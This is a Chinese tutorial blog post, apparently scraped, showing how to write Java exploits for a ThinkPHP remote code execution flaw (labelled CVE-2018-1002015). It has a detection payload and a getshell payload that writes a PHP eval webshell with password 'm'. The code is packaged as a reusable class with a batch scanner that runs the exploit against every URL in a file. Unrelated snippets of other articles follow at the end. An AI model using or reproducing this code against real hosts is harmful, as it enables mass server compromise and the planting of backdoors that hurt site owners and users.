JAVA-Exploit编写(8-10)--http-request库编写exp批量利用

devtools/2025/1/22 14:08:48/

目录

1.【CVE-2018-1002015】thinkphp命令执行漏洞

2.编写为标准类

2.1 标准类文件标准

2.2 测试类文件调用

3.批量检测

3.1 读取文本

3.2 标准类

3.2 测试类


1.【CVE-2018-1002015】thinkphp命令执行漏洞

        以此漏洞为例,通过编写两个方法,分别是漏洞的POC和EXP,看过之前的笔记的师傅,到这里其实也能很容易理解和使用下面的代码,如果需要检测其他相近的漏洞,只需略改即可.

java">package com.deger.Exp;import com.github.kevinsawicki.http.HttpRequest;public class SpringActuatorExp {public static void main(String[] args) {//        System.out.println(Result("http://127.0.0.1:8080/"));//GetshellGetShell("http://127.0.0.1:8080/");}public static String Result(String url){String palyload = "/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";if(VulTest(url,palyload)==true){return "存在漏洞\n测语句为:"+url+palyload;}else{return "不存在TP5EXP";}}// 判断是否响应页面是否存在1(是否存在漏洞)public static boolean VulTest(String url, String palyload){String md5str = "c4ca4238a0b923820dcc509a6f75849b";HttpRequest request = HttpRequest.get(url + palyload);if (request.body().contains(md5str)){return true;}else{return false;}}// 漏洞利用exppublic static String GetShell(String url){String palyload = "/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=webshell.php&vars[1][]=<?php eval($_REQUEST['m']);echo \\\"ok\";?>";//增加url编码String s = (HttpRequest.get(url + palyload, true)).body();String content = HttpRequest.get(url + "webshell.php?m= echo md5(1);",true).body();if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){return "网站存在漏洞 webshell"+url+ "/webshell.php 的密码是m";}else{return "写入shell失败";}}
}

2.编写为标准类

        显然,前面的方式使用起来还是比较麻烦的,对于不同的网站在进行检测和利用时,需要更改url,和其他的很多信息,并且调用起来也不方便,编写为标准类便省了很多时间.

2.1 标准类文件标准

java">package com.deger.Exp;import com.github.kevinsawicki.http.HttpRequest;public class Tp5Exploit {private String url;private String payload;private final String STR = "c4ca4238a0b923820dcc509a6f75849b";public Tp5Exploit() {}public Tp5Exploit(String url, String payload) {this.url = url;this.payload = payload;}public String getUrl() {return url;}public void setUrl(String url) {this.url = url;}public String getPayload() {return payload;}public void setPayload(String payload) {this.payload = payload;}public void Exploit(){setUrl("http://127.0.0.1:8080/");setPayload("/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=webshell.php&vars[1][]=<?php eval($_REQUEST['m']);echo \\\"ok\";?>");int code = HttpRequest.get(getUrl() + getPayload(), true).code();if (code == 200) {String content = HttpRequest.get(getUrl() + "/webshell.php?m=echo md5(1);", true).body();if (content.equals(STR)) {System.out.println("网站存漏洞"+url+"webshell.php 密码是:m");}else{System.out.println("写入shell失败");}}}
}

2.2 测试类文件调用
 

      在使用时,只需要传入url和调用对应的类的方法即可,如果需要其他参数,也可以在基础类的基础上进行编写.

java">package com.deger.Exp;public class TestMain {public static void main(String[] args) {Tp5Exploit tp5Exploit = new Tp5Exploit();tp5Exploit.setUrl("http://127.0.0.1:8080");tp5Exploit.Exploit();}
}

3.批量检测

        如果遇到多个资产需要进行检测的情况下,我们需要进行批量检测,这时候就需要用到批量检测,而原理也是非常简单,就是几个步骤 读取文本里的网址->循环遍历->调用检测方法.

3.1 读取文本

java"> File file = new File("D:\\DaiMaShenJi\\Exploit\\src\\main\\java\\com\\deger\\Exp\\url.txt");InputStreamReader br = new InputStreamReader(new FileInputStream(file), StandardCharsets.UTF_8);BufferedReader reader = new BufferedReader(br);String str;while((str = reader.readLine()) != null) {System.out.println(str);}

3.2 标准类

java">package com.deger.Exp;import com.github.kevinsawicki.http.HttpRequest;public class Tp5Exploit {private String url;private String payload;private final String STR = "c4ca4238a0b923820dcc509a6f75849b";public Tp5Exploit() {}public Tp5Exploit(String url, String payload) {this.url = url;this.payload = payload;}public String getUrl() {return url;}public void setUrl(String url) {this.url = url;}public String getPayload() {return payload;}public void setPayload(String payload) {this.payload = payload;}public void Exploit(){setUrl("http://127.0.0.1:8080/");setPayload("/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=webshell.php&vars[1][]=<?php eval($_REQUEST['m']);echo \\\"ok\";?>");int code = HttpRequest.get(getUrl() + getPayload(), true).code();if (code == 200) {String content = HttpRequest.get(getUrl() + "/webshell.php?m=echo md5(1);", true).body();if (content.equals(STR)) {System.out.println("网站存漏洞"+url+"webshell.php 密码是:m");}else{System.out.println("写入shell失败");}}}
}

3.2 测试类

在之前代码的基础上,增加了读取文本中的url和循环遍历调用检测方法.

java">package com.deger.Exp;import java.io.*;
import java.nio.charset.StandardCharsets;public class ScaTest {public static void main(String[] args) throws Exception {//使用绝对路径来度取File file = new File("D:\\DaiMaShenJi\\Exploit\\src\\main\\java\\com\\deger\\Exp\\url.txt");InputStreamReader br = new InputStreamReader(new FileInputStream(file), StandardCharsets.UTF_8);BufferedReader reader = new BufferedReader(br);String str;//创建标准类对象Tp5Exploit tp5Exploit = new Tp5Exploit();while((str = reader.readLine()) != null) {//设置urltp5Exploit.setUrl(str);//调用漏洞exptp5Exploit.Exploit();
//            System.out.println(str);}}
}


http://www.ppmy.cn/devtools/152617.html

相关文章

汇编与逆向(一)-汇编工具简介

RadASM是一款著名的WIN32汇编编辑器&#xff0c;支持MASM、TASM等多种汇编编译器&#xff0c;Windows界面&#xff0c;支持语法高亮&#xff0c;自带一个资源编辑器和一个调试器。 一、汇编IDE工具&#xff1a;RadASM RadASM有内置的语言包 下载地址&#xff1a;RadASM asse…

Erlang语言的并发编程

Erlang语言的并发编程 引言 并发编程是现代软件开发中的一个重要领域&#xff0c;尤其是在面对需要高效处理大量任务的应用时。Erlang是一种专门设计用于并发编程的编程语言&#xff0c;由于其在电信和即时通信系统中的广泛应用&#xff0c;逐渐引起了开发者的关注。Erlang的…

抽奖系统(4——活动模块)

1. 活动创建 需求回顾 创建的活动信息包含&#xff1a; 活动名称活动描述关联的一批奖品&#xff0c;关联时需要选择奖品等级&#xff08;一等奖、二等奖、三等奖&#xff09;&#xff0c;及奖品库存圈选一批人员参与抽奖 tip&#xff1a;什么时候设置奖品数量和奖品等级&am…

搭建一个基于Spring Boot的校园台球厅人员与设备管理系统

搭建一个基于Spring Boot的校园台球厅人员与设备管理系统可以涵盖多个功能模块&#xff0c;例如用户管理、设备管理、预约管理、计费管理等。以下是一个简化的步骤指南&#xff0c;帮助你快速搭建一个基础的系统。 — 1. 项目初始化 使用 Spring Initializr 生成一个Spring …

Python----Python高级(正则表达式:语法规则,re库)

一、正则表达式 1.1、概念 正则表达式&#xff0c;又称规则表达式,&#xff08;Regular Expression&#xff0c;在代码中常简写为regex、 regexp或RE&#xff09;&#xff0c;是一种文本模式&#xff0c;包括普通字符&#xff08;例如&#xff0c;a 到 z 之间的字母&#xff0…

AIP-124 资源关联

编号124原文链接AIP-124: Resource association状态批准创建日期2020-03-20更新日期2020-03-20 有时无法用常规的树结构清晰表达API资源的层次结构。例如&#xff0c;一个资源可能与两个另外的资源类型之间存在多对一关系。或者一个资源可能与另一个资源类型存在多对多关系。 …

k8s namespace绑定节点

k8s namespace绑定节点 1. apiserver 启用准入控制 PodNodeSelector2. namespace 添加注解 scheduler.alpha.kubernetes.io/node-selector3. label node 1. apiserver 启用准入控制 PodNodeSelector vim /etc/kubernetes/manifests/kube-apiserver.yaml spec:containers:- co…

Next.js 实战 (十):中间件的魅力,打造更快更安全的应用

什么是中间件&#xff1f; 在 Next.js 中&#xff0c;中间件&#xff08;Middleware&#xff09;是一种用于处理每个传入请求的功能。它允许你在请求到达页面之前对其进行修改或响应。 通过中间件&#xff0c;你可以实现诸如日志记录、身份验证、重定向、CORS配置、压缩等任务…